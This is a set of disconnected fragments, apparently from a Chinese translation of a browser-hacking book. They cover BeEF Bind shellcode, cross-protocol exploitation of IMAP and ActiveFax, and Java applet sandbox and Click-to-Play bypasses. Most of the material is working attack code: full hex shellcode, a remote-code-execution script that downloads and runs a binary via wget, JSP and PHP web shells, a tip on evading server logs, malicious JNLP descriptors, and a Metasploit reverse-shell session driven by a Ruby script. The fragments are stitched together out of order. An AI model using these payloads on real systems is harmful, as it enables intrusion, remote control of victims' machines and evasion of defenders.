0, &si, &pi ); call ebp 注意代码中加粗的部分，说明调用了Windows API的 CreateProcessA ，以执行包含在 cmd 参数中的命令。"},
    {"text": "从中可以看到，这里使用了 setresuid 和 execve 这两个系统调用： ;setresuid(0,0,0) xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 0xa4 ;sys_setresuid16 int 0x80 ;execve(\"/bin//sh\", 0, 0) xor eax, eax push eax push eax push 0x68732f2f ;//sh push 0x6e69622f ;/bin mov ebx, esp push BYTE 0x0b ;sys_execve pop eax int 0x80 这个Shellcode使用了标准的Linux系统调用，与Windows版使用Windows API类似。"},
    {"text": "以IMAP为例，无论什么时候，只要Shellcode中出现这些字符 \\x00\\x0a\\x0d\\x20\\x7b ，都必须对其进行编码，否则Shellcode很可能出问题，比如发出的命令可能会被截短、非正常终止，甚至直接被忽略。"},
    {"text": "现在，只要把Stager改成BeEF Bind的Shellcode就行了： // B33FB33F正是\"egg\" var stager = \"B33FB33F\" + \"\\xba\\x6a\\x99\\xf8\\x25\\xd9\\xcc\\xd9\\x74\\x24\\xf4\\x5e\\x31\\xc9\" + \"\\xb1\\x4b\\x83\\xc6\\x04\\x31\\x56\\x11\\x03\\x56\\x11\\xe2\\x9f\\x65\" + \"\\x10\\xac\\x5f\\x96\\xe1\\xcf\\xd6\\x73\\xd0\\xdd\\x8c\\xf0\\x41\\xd2\" + \"\\xc7\\x55\\x6a\\x99\\x85\\x4d\\xf9\\xef\\x01\\x61\\x4a\\x45\\x77\\x4c\" + \"\\x4b\\x6b\\xb7\\x02\\x8f\\xed\\x4b\\x59\\xdc\\xcd\\x72\\x92\\x11\\x0f\" + \"\\xb3\\xcf\\xda\\x5d\\x6c\\x9b\\x49\\x72\\x19\\xd9\\x51\\x73\\xcd\\x55\" + \"\\xe9\\x0b\\x68\\xa9\\x9e\\xa1\\x73\\xfa\\x0f\\xbd\\x3b\\xe2\\x24\\x99\" + \"\\x9b\\x13\\xe8\\xf9\\xe7\\x5a\\x85\\xca\\x9c\\x5c\\x4f\\x03\\x5d\\x6f\" + \"\\xaf\\xc8\\x60\\x5f\\x22\\x10\\xa5\\x58\\xdd\\x67\\xdd\\x9a\\x60\\x70\" + \"\\x26\\xe0\\xbe\\xf5\\xba\\x42\\x34\\xad\\x1e\\x72\\x99\\x28\\xd5\\x78\" + \"\\x56\\x3e\\xb1\\x9c\\x69\\x93\\xca\\x99\\xe2\\x12\\x1c\\x28\\xb0\\x30\" + \"\\xb8\\x70\\x62\\x58\\x99\\xdc\\xc5\\x65\\xf9\\xb9\\xba\\xc3\\x72\\x2b\" + \"\\xae\\x72\\xd9\\x24\\x03\\x49\\xe1\\xb4\\x0b\\xda\\x92\\x86\\x94\\x70\" + \"\\x3c\\xab\\x5d\\x5f\\xbb\\xcc\\x77\\x27\\x53\\x33\\x78\\x58\\x7a\\xf0\" + \"\\x2c\\x08\\x14\\xd1\\x4c\\xc3\\xe4\\xde\\x98\\x44\\xb4\\x70\\x73\\x25\" + \"\\x64\\x31\\x23\\xcd\\x6e\\xbe\\x1c\\xed\\x91\\x14\\x35\\xdf\\xb6\\xc4\" + \"\\x52\\x22\\x48\\xfa\\xfe\\xab\\xae\\x96\\xee\\xfd\\x79\\x0f\\xcd\\xd9\" + \"\\xb2\\xa8\\x2e\\x08\\xef\\x61\\xb9\\x04\\xe6\\xb6\\xc6\\x94\\x2d\\x95\" + \"\\x6b\\x3c\\xa5\\x6e\\x60\\xf9\\xd4\\x70\\xad\\xa9\\x81\\xe7\\x3b\\x38\" + \"\\xe0\\x96\\x3c\\x11\\x41\\x58\\xd3\\x9a\\xb5\\x33\\x93\\xc9\\xe6\\xa9\" + \"\\x13\\x86\\x50\\x8a\\x47\\xb3\\x9f\\x07\\xee\\xfd\\x35\\xa8\\xa2\\x51\" + \"\\x9e\\xc0\\x46\\x8b\\xe8\\x4e\\xb8\\xfe\\xbf\\x18\\x80\\x97\\xb8\\x8b\" + \"\\xf3\\x4d\\x47\\x15\\x6f\\x03\\x23\\x57\\x1b\\xd8\\xed\\x4c\\x16\\x5d\" + \"\\x37\\x96\\x26\\x84\"; JavaScript代码中的其他部分保持不变。"},
    {"text": "图 10-25 BeEF_bind命令模块的输入 图 10-26 取得通过BeEF Bind实现命令执行之后的结果 从一个原始网络包的角度来看，整个利用过程中BeEF Bind的通信都是标准的HTTP请求和响应。"},
    {"text": "图10-27展示了在前面讨论的利用IMAP服务的例子中，把发送BeEF Bind Stager时的原始流量转储之后得到的结果。 图 10-27 利用IMAP服务时发送的BeEF Bind Stager BeEF Bind Shellcode在内存中运行后，就可以进一步与被控系统交互了。"},
    {"text": "(3) 这样会在目标IMAP服务器上监听TCP端口4444，准备好接收BeEF Bind的第二个payload：Stage。 (4) 勾连浏览器接着向目标服务器的4444端口发送第二个请求，仍然使用 XMLHttpRequest.sendAsBinary ，这次发送的是BeEF Bind Stage。"},
    {"text": "下面我们再看一个利用ActiveFax的例子，同样换成使用BeEF Bind Shellcode。 2. ActiveFax协议间利用的例子 要使用BeEF Bind Shellcode攻击ActiveFax，必须修改前面ActiveFax利用示例中的代码。"},
    {"text": "// BeEF绑定阶段 var stage = \"\\xfc\\xe8\\x89[...snip...]\"; setTimeout(function(){ xhr.abort(); setTimeout(function(){ // 等几秒，让Stager加载到内存 // 再向BeEF默认绑定的4444端口发请求 var stage_request = \"cmd=\" + stage; sendRequest(4444, stage_request); }, 4000); }, 2000); 发送Stager和Stage之后，就可以与运行在被控系统上的BeEF Bind监听器通信了。"},
    {"text": "只不过这一次注入的结果是在目标上运行BeEF Bind Stager的二进制代码： var uri = \"http://172.16.37.155/user/index.php\"; /* 用PHP的exec命令执行 * 1. 取得BeEF Bind 32位ELF * 2. 将二进制文件标记为可执行 * 3. 在后台运行 */ var cmd = btoa(\"/usr/bin/wget -O /tmp/BeEF_bind \" + \"http://browserhacker.com/BeEF_bind \" + \"&& /bin/chmod +x /tmp/BeEF_bind && \" + \"/tmp/BeEF_bind > /dev/null 2>&1 & echo $!\"); // POST主体，前面的命令由base64解码而来 // 然后用PHP的exec命令执行 var body = \"langChoice=<?php exec(base64_decode('\" + cmd + \"'));?>%00\"; var xhr = new XMLHttpRequest(); xhr.open(\"POST\", uri, true); xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.send(body); console.log(\"Sending first request with RCE vector...\"); function getCookie(name){ name += '='; var parts = document.cookie.split(/;\\s*/); for (var i = 0; i < parts.length; i++){ var part = parts[i]; if (part.indexOf(name) == 0) return part.substring(name.length) } return null; } function trigger(){ // 当前会话cookie var phpsessid = getCookie(\"PHPSESSID\"); console.log(\"Using PHPSESSID: \" + phpsessid); // 要触发代码执行 // 需要对$_SESSION求值 var body = \"langChoice=../../../../../../../../../../tmp/sess_\" + phpsessid + \"%00\"; var xhr_trigger = new XMLHttpRequest(); xhr.open(\"POST\", uri, true); xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.send(body); console.log(\"Sending second to trigger RCE...\\n\" + \"BeEF Bind ELF should now be listening on port 4444.\"); } setTimeout(function(){trigger();}, 3000); 这个利用从 http://browserhacker.com 上下载了BeEF_Bind的二进制内容。"},
    {"text": "可以使用以下C代码，将该Stager Shellcode编译为二进制形式，不过也可以从 https://browserhacker.com 上下载： #include <stdio.h> #include <sys/mman.h> #include <string.h> #include <stdlib.h> # Compile with GCC on Linux as the following # gcc -fno-stack-protector -z execstack -o BeEF_bind BeEF_bind.c int (*sc)(); // BeEF Bind Linux 32-bit Stager char shellcode[] = \"\\xfc\\x31\\xc0\\x31\\xd2\\x6a\\x01\\x5b\\x50\\x40\"+ \"\\x50\\x40\\x50\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\xc6\\x6a\\x0e\\x5b\"+ \"\\x6a\\x04\\x54\\x6a\\x02\\x6a\\x01\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\"+ \"\\x6a\\x02\\x5b\\x52\\x68\\x02\\x00\\x11\\x5c\\x89\\xe1\\x6a\\x10\\x51\\x56\"+ \"\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x43\\x43\\x53\\x56\\x89\\xe1\\x6a\\x66\"+ \"\\x58\\xcd\\x80\\x43\\x52\\x52\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x96\"+ \"\\x93\\xb8\\x06\\x00\\x00\\x00\\xcd\\x80\\x6a\\x00\\x68\\xff\\xff\\xff\\xff\"+ \"\\x6a\\x22\\x6a\\x07\\x68\\x00\\x10\\x00\\x00\\x6a\\x00\\x89\\xe3\\x6a\\x5a\"+ \"\\x58\\xcd\\x80\\x89\\xc7\\x66\\xba\\x00\\x10\\x89\\xf9\\x89\\xf3\\x6a\\x03\"+ \"\\x58\\xcd\\x80\\x6a\\x06\\x58\\xcd\\x80\\x81\\x3f\\x63\\x6d\\x64\\x3d\\x74\"+ \"\\x03\\x47\\xeb\\xf5\\x6a\\x04\\x58\\x01\\xc7\\xff\\xe7\"; int main(int argc, char **argv) { char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (ptr == MAP_FAILED) {perror(\"mmap\");exit(-1);} memcpy(ptr, shellcode, sizeof(shellcode)); sc = (int(*)())ptr; (void)((void(*)())ptr)(); printf(\"\\n\"); return 0; } 到了这一步，应该可以看到BeEF Bind Stager已经在监听TCP端口4444了，如图10-31所示。"},
    {"text": "在这些情况下，不必下载和执行BeEF Bind二进制内容，可以把BeEF Bind Shellcode的逻辑移植到任何服务器端的Web开发语言中。 换句话说，你可以创建一个BeEF Bind Web shell。 下面列出了BeEF Bind的三个主要特性，如果想让勾连浏览器与Web shell实现通信，就必须实现它们： 每个HTTP响应必须包含 Allow-Access-From-Origin: * ，以允许与勾连浏览器的跨域双向通信；"},
    {"text": "下面的JSP代码完全满足上述三个条件，而且可以在第9章中的利用情景下使用： <%@ page import=\"java.util.*,java.io.*\"%> <% // 需要跨源通信 response.setHeader(\"Access-Control-Allow-Origin\", \"*\"); try{ // 需要处理text/plain数据 BufferedReader br = request.getReader(); String line = br.readLine(); if(line != null){ String[] cmds = line.split(\"cmd=\"); if(cmds.length > 0){ String cmd = cmds[1]; // 执行命令 Process p = Runtime.getRuntime().exec(cmd); // 读取命令输出 OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while(disr != null){ out.println(disr); disr = dis.readLine(); } } }}catch(Exception e){ out.println(\"Exception!!\"); } %> 假设前面的JSP文件已经被成功部署到了一个有漏洞的JBoss 6.0.0.M1服务器，使用的利用方法与第9章中讨论的相同。"},
    {"text": "以下JavaScript代码与本章前面演示的类似，它实现从勾连浏览器到新JSP BeEF Bind Web shell间的跨域通信： var uri = \"http://browservictim.com\"; var port = 8080; var path = \"BeEF_Bind.jsp\"; var cmd = \"cat /etc/passwd\" xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if(xhr.readyState == 4) { console.log(xhr.responseText); } } xhr.open(\"POST\", uri + \":\" + port + \"/\" + path, true); xhr.setRequestHeader(\"Content-Type\", \"text/plain\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.send(\"cmd=\" + cmd); 如图10-33所示，POST请求是跨域发送的，而命令执行后的结果又通过HTTP响应发回给勾连浏览器。"},
    {"text": "用PHP实现相同的逻辑只需两行代码： <?php header(\"Access-Control-Allow-Origin: *\"); echo @system($_POST['cmd']); ?> 前面讨论的JavaScript代码可以用来与这段PHP代码交互，只要稍微改一下Content-type就行： xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); 一般来说，能使用POST请求就不要使用GET请求，因为Apache服务器默认不会在日志中记录 POST 请求的请求体： 172.16.37.1 - - [10/Aug/2013:12:31:56 +0100] \"POST /BeEF_Bind.php HTTP/1.1\" 200 54884 \"http://browserhacker.com/\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0\" 172.16.37.1 - - [10/Aug/2013:12:32:10 +0100] \"POST /BeEF_Bind.php HTTP/1.1\" 200 5766 \"http://browserhacker.com/\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0\" BeEF Bind的目标是提供轻量、与平台无关的payload。"},
    {"text": "Unknown 5.5 小结 作为安全评估的一部分，本章展示了几种滥用浏览器用户信任和隐私的攻击技术。尽管其中有些方法仅依赖于某些形式的小把戏，甚至是利用界面上的错觉，但这也反映出用户是多么容易对他们遇到的每一个对话框都点击OK。 我们也验证了可以从大多数浏览器中获取多少有价值的用户信息，例如用户的按键、鼠标移动，甚至包括与硬件（比如摄像头）的交互。随着浏览器技术的不断发展，尤其是HTML5的发展，这些攻击技术也在逐步进化。 本章最后介绍了控制用户摄像头这种直接影响生活隐私的事件。尽管这种攻击当前还不具备可推广性，但是它的发展空间正在持续增大。一个明显的例子就是Google最近发布了它的智能眼镜产品 36 。相信在不远的未来，一定会有攻击者尝试控制目标的智能眼镜，并暗中利用其摄像头和麦克风窥探用户隐私，如何防止并抵御此类攻击一定会成为安全工作者们的新课题。 36 Wikipedia. (2013). GoogleGlass . Retrieved November 15, 2013 from http://en.wikipedia.org/wiki/Google_Glass"},
    {"text": "8.3.1 绕过点击播放 虽然现代浏览器会使用点击播放机制，以针对潜在的可疑活动向用户报警，但某些小型或隐藏插件的实例，可能不会请求用户许可也能执行。"},
    {"text": "有时候，插件需要在显示的网页中执行，而无需对用户可见。 比如，为了研究可用性，可在浏览器中跟踪导航的插件，可能因为设计者的决定而在页面中保持不可见。"},
    {"text": "其概念验证代码简单有效： 9 Mozilla Buzilla. (2013). Click to Play bypass bug . Retrieved October 23, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=838999 <html> <head> <style type='text/css'> #overlay { background-color: black; position: absolute; top: 0px; left: 0px; width: 550px; height: 450px; color: white; text-align: center; padding-top: 100px; pointer-events: none; } </style> <body> <div id=\"overlay\">Click here</div> <applet code=\"Foo.class\" width=\"500\" height=\"500\"/> </body> </html> 指定 pointer-events: none 可以阻止在黑色 #overlay div 上触发任何鼠标事件。"},
    {"text": "图 8-8 绕过点击播放执行一个未签名的Java小程序 通过动态修改 #overlay div 的CSS规则，同时添加 opaque: 0.4 ，可以看到这个覆盖层后面是什么，如图8-9所示。"},
    {"text": "2. Java的例子 从Java 1.7u11开始，Oracle修改了其点击播放实现，针对包含未签名的小程序在内的所有小程序，都会提示用户，经用户确认后运行。"},
    {"text": "第一个绕行方案 10 来自Esteban Guillardoy，在Java 1.7u13中被修复，该方案通过一个“不怎么为人所知的”小程序属性 object ，加载序列化的小程序 11 。"},
    {"text": "10 Immunity. (2013). Keep calm and run this applet . Retrieved October 23, 2013 from http://immunityproducts.blogspot.com.ar/2013/02/keep-calm-and-run-this-applet.html 11 Docstore.mik.ua. (2008). Serialized Applets . Retrieved October 23, 2013 from http://docstore.mik.ua/orelly/java/javanut/ch09_04.htm 如果看一看Java Plugin2Manager 类的源码，就会看到点击播放的逻辑。"},
    {"text": "可以看到，如果使用代码属性初始化小程序，那么会调用 fireAppletSSVValidation() 方法： void initAppletAdapter(AppletExecutionRunnable paramAppletExecutionRunnable) throws ClassNotFoundException, IllegalAccessException, ExitException, JRESelectException, IOException, InstantiationException { long l = DeployPerfUtil.put( 0L,\"Plugin2Manager.createApplet() - BEGIN\"); /* * 取得\"code\"和\"object\"小程序属性的值 */ String str1 = getSerializedObject(); String str2 = getCode(); [...snip...] if ((str2 != null) && (str1 != null)) { System.err.println(amh.getMessage(\"runloader.err\")); throw new InstantiationException( \"Either \\\"code\\\" or \\\"object\\\"\" + \" should be specified, but not both.\"); } if ((str2 == null) && (str1 == null)) return; if (str2 != null) { /* * 通过\"code\"属性正常加载小程序 * 触发Ctp pop=up，等待用户介入 */ if (fireAppletSSVValidation()) { appletSSVRelaunch(); } [...snip...] } else { if (!this.isSecureVM) return; // 通过\"object\"属性加载serialized小程序 this.adapter.instantiateSerialApplet(localPlugin2ClassLoader, str1); this.doInit = false; DeployPerfUtil .put(\"Plugin2Manager.createApplet()\" + \" - post: secureVM .. serialized .. \"); } [...snip...] DeployPerfUtil.put(l, \"Plugin2Manager.initAppletAdapter() - END\"); } 此时，如果没有使用 code 属性，Java假设你会使用 object 属性，也就是加载序列化后的小程序。"},
    {"text": "为了利用这个缺陷，可以使用以下代码嵌入小程序： <embed object=\"object.ser\" type=\"application/x-java-applet;version=1.6\"> 另一个绕行方案 12 同样来自Estenban，是在Java 1.7u21中被修复的。"},
    {"text": "这个方案依赖于在通过JNLP（Java Network Launching Protocol，Java 网络启动协议）描述符调用小程序时传入的一个隐藏参数 13 。 使用JNLP是启动小程序的简便方法，也可以通过它要求小程序在特定版本的Java上运行。"},
    {"text": "12 Immunity. (2013). Yet Another Java Security Manager Warning Bypass . Retrieved October 23, 2013 from http://immunityproducts.blogspot.co.uk/2013/04/yet-another-java-security-warning-bypass.html 13 Oracle. (2012). Applet migration with JNLP . Retrieved October 23, 2013 from http://www.oracle.com/technetwork/java/javase/applet-migration-139512.html 分析一下 PluginMain 这个Java类的源代码，特别是 performSSVValidation() 方法，可以看到下面几行： public static boolean performSSVValidation (Plugin2Manager paramPlugin2Manager) throws ExitException { boolean bool = Boolean.valueOf(paramPlugin2Manager. getParameter(\"__applet_ssv_validated\")). booleanValue(); if (bool) return false; LaunchDesc localLaunchDesc = null; AppInfo localAppInfo = null; [...snip...] } 注意其中未加说明的 __applet_ssv_validate 参数，如果它的值为 true ，就会跳过检测并退出当前方法。"},
    {"text": "下面就是一个JNLP描述符的例子，你可以参考： <?xml version=\"1.0\" encoding=\"utf-8\"?> <jnlp spec=\"1.0\" xmlns:jfx=http://javafx.com href=\"applet_security_bypass.jnlp\"> <information> <title>Applet Test JNLP</title> <vendor>Oracle</vendor> <description>Esteban CtP bypass</description> <offline-allowed/> </information> <resources> <j2se version=\"1.7\" href=\"http://java.sun.com/products/autodl/j2se\" /> <jar href=\"malicious.jar\" main=\"true\" /> </resources> <applet-desc name=\"Malicious Applet\" main-class=\"Main\" width=\"1\" height=\"1\"> <param name=\"__applet_ssv_validated\" value=\"true\"></param> </applet-desc> <update check=\"background\"/> </jnlp> 注意，为了绕过点击播放，这里小程序的描述中指定了隐藏的参数： <param name=\"__applet_ssv_validated\" value=\"true\"></param> 最后一步是在Web服务器上保存好这个JNLP文件，然后在网页中需要触发小程序执行的地方引用它，相关代码类似如下所示： <object codebase=\"http://java.sun.com/update/ \\ 1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0\" classid=\"clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284\" height=\"0\" width=\"0\"> <param name=\"app\" value=\"__JNLP_URI__\"> <param name=\"back\" value=\"true\"> <applet archive=\"malicious.jar\" code=\"Main.class\" width=\"1\" height=\"1\"> </applet> </object> 虽然以上漏洞已经被Oracle修复了，但通过它们可以对浏览器中的“猫捉老鼠”游戏有个大概的认识。"},
    {"text": "15 CVE Details. (2013). Denial of Service Attack . Retrieved October 23, 2013 from http://www.cvedetails.com/vulnerability-list/vendor_id-5/product_id-1526/SUN-JRE.html 16 Danskebank. (2013). eBanking technical requirements . Retrieved October 23,2013 from http://www.danskebank.ie/en-ie/Personal/eBanking/Support/Pages/Technical-requirements.aspx 可以通过两种主要的方式来运行Java代码：通过独立的Java应用程序，或者通过Web小程序。"},
    {"text": "17 Oracle. (2010). Applet security . Retrieved October 23, 2013 from http://docs.oracle.com/javase/tutorial/deployment/applet/security.html 在沙箱里，默认会屏蔽代码访问文件系统以及执行操作系统命令。"},
    {"text": "Java代码经编译生成字节码，然后字节码由JVM（Java Virtual Machine，Java虚拟机）处理。 JVM处理字节码之后会执行它。 应用也可以把字节码转换回其代表的Java代码，完成这个过程的应用通常叫反编译器，本章后面会谈到。"},
    {"text": "签名小程序与未签名小程序的核心区别之一，就是签名小程序可以在沙箱外部执行代码。 对于签名的小程序，Java会验证签名是否有效，如果签名是未知的，则提醒用户确认接受该小程序。"},
    {"text": "这个调用在 execute 函数中，并返回一个字符串： import java.applet.*; import java.awt.*; public class JVersion extends Applet{ public JVersion() { super(); return; } public static String execute() { return (\" Java Version: \" + System.getProperty(\"java.version\")+ \" by \"+System.getProperty(\"java.vendor\")); } } 以下HTML和JavaScript代码会执行前面的Java代码，然后在页面中创建一个对象，再使用JavaScript调用该对象的 execute 方法。"},
    {"text": "以下是使用 document.wirte 方法把结果输出到屏幕上的代码： <object id='JVersion' name='JVersion'> <param name='code' value='JVersion.class' /> <param name='codebase' value='null' /> <param name='archive' value='http://browserhacker.com/JVersion.jar' /> </object> <script> document.write(document.JVersion.execute()); </script> 如果这段代码执行时浏览器运行的是Java 1.7，就会弹出如图8-10所示的警告对话框。"},
    {"text": "图 8-11 JVersion小程序的输出结果 不管这些检测方法怎么样，对Java 1.7u11之后的版本，执行恶意Java小程序的最好方式，就是不要提前检测Java版本而直接运行。"},
    {"text": "18 JDGUI. (2013). JDGUI . Retrieved October 23, 2013 from http://java.decompiler.free.fr/?q=jdgui 为了演示，下面的例子展示了如何破解一个设计好的Java小程序，通过它又可以进一步底层控制浏览器和操作系统。"},
    {"text": "而这个小程序还对外暴露了 execute() 方法： <object id='signedAppletCmdExec' classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' name='signedAppletCmdExec'> <param name='code' value='signedAppletCmdExec.class' /> <param name='codebase' value='null' /> <param name='archive' value='http://browserhacker.com/signedAppletCmdExec.jar' /> <param name='debug' value='true' /> <param name='dir' value='c:/' /> </object> 这段代码告诉浏览器执行signedAppletCmdExec.jar文件中的 signedAppletCmdExec 类。"},
    {"text": "为了最终运行小程序，同时也需要以下JavaScript代码： <script> try { output = document.signedAppletCmdExec.execute(); console.log(\"output: \" + output); return; }catch (e) { console.log(\"timeout\"); return; } </script> 这段JavaScript代码创建一个访问小程序的函数，并在小程序内部运行 execute 方法。"},
    {"text": "记住，.jar文件不过就是一个.zip文件，其中包含了所有必需的Java类文件及相关内容： $ jar xvf signedAppletCmdExec.jar inflated: META-INF/MANIFEST.MF inflated: META-INF/MYKEY.SF inflated: META-INF/MYKEY.DSA created: META-INF/ inflated: signedAppletCmdExec.class inflated: RelaxedSecurityManager.class 我们注意到，有两个类文件被提取出来，还有相应的META-INF信息，表明了这个小程序的签名情况。"},
    {"text": "我们来试一下，把最初的HTML代码修改为如下所示： <object id='signedAppletCmdExec' classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' name='signedAppletCmdExec'> <param name='code' value='signedAppletCmdExec.class' /> <param name='codebase' value='null' /> <param name='archive' value='http://browserhacker.com/signedAppletCmdExec.jar' /> <param name='debug' value='true' /> <param name='dir' value='c:/ && notepad.exe' /> <object id='signedAppletCmdExec' 其中加粗的那行代码会让cmd.exe在被Java小程序执行时进入c:/目录，然后启动notepad.exe。"},
    {"text": "19 Ars Technica. (2012). Yet another java flaw allows “complete” bypass of security sandbox .Retrieved November 10, 2013 from http://arstechnica.com/security/2012/09/yet-another-java-flaw-allows-complete-bypass-of-security-sandbox/ 本章前面介绍的采集指纹的代码，可以用来检测正在运行的Java是什么版本。"},
    {"text": "20 Security Obscurity. (2013). Deobfuscating Java 1.7u11 Exploit . Retrieved October 23, 2013 from http://security-obscurity.blogspot.co.uk/2013/02/deobfuscating-java-7u11-exploit-from.html 这个绕行方案利用的漏洞依赖于Java Reflection API 21 。"},
    {"text": "有了这个可能性之后，就可以加载额外的类，在实践中甚至可以调用你定义好的、调用 Runtime.getRuntime().exec() 方法的类，从而执行操作系统命令。"},
    {"text": "21 Oracle. (2013). Java reflection . Retrieved October 23, 2013 from http://docs.oracle.com/javase/tutorial/reflect/ 由于这样绕过了沙箱，因此利用这个漏洞可以在未签名的小程序中执行操作系统命令。"},
    {"text": "22 Rapid7. (2013). CVE-2013-2423 Java Applet Reflection Type Confusion RemoteCode Execution | Rapid7 . Retrieved October 23, 2013 from http://www.rapid7.com/db/modules/exploit/multi/browser/java_jre17_reflection_types 还记得本章前面讨论过的Immunity发现的第二个绕过点击播放的技术吗？"},
    {"text": "首先，需要在Metasploit中配置一下： msf > use exploit/multi/browser/java_jre17_driver_manager msf exploit(java_jre17_driver_manager) > set PAYLOAD java/meterpreter/reverse_tcp msf exploit(java_jre17_driver_manager) > set SRVHOST 172.16.37.1 msf exploit(java_jre17_driver_manager) > set LHOST 172.16.37.1 msf exploit(java_jre17_driver_manager) > exploit [*] Exploit running as background job. [*] Started reverse handler on 172.16.37.1:4444 [*] Using URL: http://172.16.37.1:8080/uGDMZKaKGvbP59 [*] Server started. 其中的反向处理程序已经可以接受连接了，Web服务器也提供了恶意JAR和JNLP文件，现在就可以欺骗受害者点击加粗的URL。 把它记住，因为需要在以下Ruby脚本中替换变量 EXPLOIT_URL 的值： require 'rest_client' require 'json' # REST API root端点 ATTACK_DOMAIN = \"172.16.37.1\" RESTAPI_HOOKS = \"http://\" + ATTACK_DOMAIN + \":3000/api/hooks\" RESTAPI_LOGS = \"http://\" + ATTACK_DOMAIN + \":3000/api/logs\" RESTAPI_MODULES = \"http://\" + ATTACK_DOMAIN + \":3000/api/modules\" RESTAPI_ADMIN = \"http://\" + ATTACK_DOMAIN + \":3000/api/admin\" # Metasploit exploit URL EXPLOIT_URL = \"http://172.16.37.1:8080/uGDMZKaKGvbP59\" BEEF_USER = \"beef\" BEEF_PASSWD = \"beef\" @token = nil @modules = nil @hooks = nil def print_banner puts \"[>>>] JDK <= 1.7u17 pwner - with CtP bypass for IE]\" end def auth response = RestClient.post \"#{RESTAPI_ADMIN}/login\", { 'username' => \"#{BEEF_USER}\", 'password' => \"#{BEEF_PASSWD}\"}.to_json, :content_type => :json, :accept => :json result = JSON.parse(response.body) @token = result['token'] puts \"[+] Retrieved RESTful API token: #{@token}\" end def get_hooks response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {:token => @token}} result = JSON.parse(response.body) @hooks = result[\"hooked-browsers\"][\"online\"] puts \"[+] Retrieved Hooked Browsers list. Online: #{@hooks.size}\" end def get_modules response = RestClient.get \"#{RESTAPI_MODULES}\", {:params => {:token => @token}} @modules = JSON.parse(response.body) puts \"[+] Retrieved #{@modules.size} available command modules\" end def get_module_id(mod_name) @modules.each do |mod| #常规的模块 if mod_name == mod[1][\"class\"] return mod[1][\"id\"] break end end end def pwn @windows_hooks = [] @hooks.each do |hook| session = hook[1][\"session\"] browser = \"#{hook[1][\"name\"]}-#{hook[1][\"version\"]}\" if browser.match(/^IE/) sleep 2 mod_id = get_module_id(\"Site_redirect\") redirect_to_msf(session, mod_id) puts \"[+] Browser [#{browser}] redirected to \" + \"MSF exploit [multi/browser/java_jre17_driver_manager].\"+ \"Check your MSFconsole...\" else puts \"[+] Skipping browser [#{browser}] because\" + \" the Click to Play bypass will not work.\" end end end def redirect_to_msf(session, mod_id) RestClient.post \"#{RESTAPI_MODULES}/#{session}/#{mod_id}?\\ token=#{@token}\", {\"redirect_url\" => EXPLOIT_URL}.to_json, :content_type => :json, :accept => :json end print_banner # 取得REST API token auth # 取得在线勾连的浏览器 get_hooks # 取得可用的 get_modules # 重定向 pwn 以上Ruby代码使用的是BeEF的REST API，能自动向特定的勾连浏览器发送指令，而不需要使用GUI。 运行这段脚本后，如果勾连的是IE，浏览器就会被重定向到加粗的那个URL： LON-SP-5DV7P:Ch08 morru$ ruby java_1.7u17_Exploit_rest.rb [>>>] JDK <= 1.7u17 pwner - with CtP bypass for IE] [+] Retrieved RESTful API token:8a9ca8fab115a07677b736317c836842420c8131 [+] Retrieved Hooked Browsers list. Online: 1 [+] Retrieved 435 available command modules [+] Skipping browser [FF-24] because the Click to Play bypass will not work. [+] Browser [IE-10] redirected to MSF exploit [multi/browser/java_jre17_driver_manager].Check your MSFconsole... 把浏览器重定向到Metasploit的Web服务器URL后，会得到JNLP文件，还有恶意的JAR。"},
    {"text": "它会帮你传输和执行Java Meterpreter stage，最终在目标机器上执行完整的Meterpreter payload： msf exploit(java_jre17_driver_manager) > [*] 172.16.37.149 java_jre17_driver_manager - handling request for /uGDMZKaKGvbP59 [*] 172.16.37.149 java_jre17_driver_manager - handling request for /uGDMZKaKGvbP59/ [*] 172.16.37.149 java_jre17_driver_manager - handling request for /uGDMZKaKGvbP59 [*] 172.16.37.149 java_jre17_driver_manager - handling request for /uGDMZKaKGvbP59/ [*] 172.16.37.149 java_jre17_driver_manager - handling request for /uGDMZKaKGvbP59/CanPVnBL.jnlp [*] 172.16.37.149 java_jre17_driver_manager - handling request for /uGDMZKaKGvbP59/maUmMQvf.jar [*] Sending stage (30355 bytes) to 172.16.37.149 [*] Meterpreter session 1 opened (172.16.37.1:4444 -> 172.16.37.149:64944) at 2013-09-30 13:08:54 +0100 这种利用技术的好处在于同时使用了之前讨论的点击播放绕行方案，攻击不需要用户交互就可以完成。"},
    {"text": "理解Flash是什么，如何采集其指纹以及利用它，是攻击插件的必备技术。 Flash的无处不在以及可以通过它利用麦克风和摄像头的能力，使其成为非常有价值的攻击目标。"},
    {"text": "23 Macromedia. (2013). Website Storage Settings panel . Retrieved October 23, 2013 from http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html 图 8-16 Flash插件的Website Storage Settings Panel 与浏览器会话cookie不同，共享对象数据并不经常清除，这也是Flash cookie吸引人的原因所在。"},
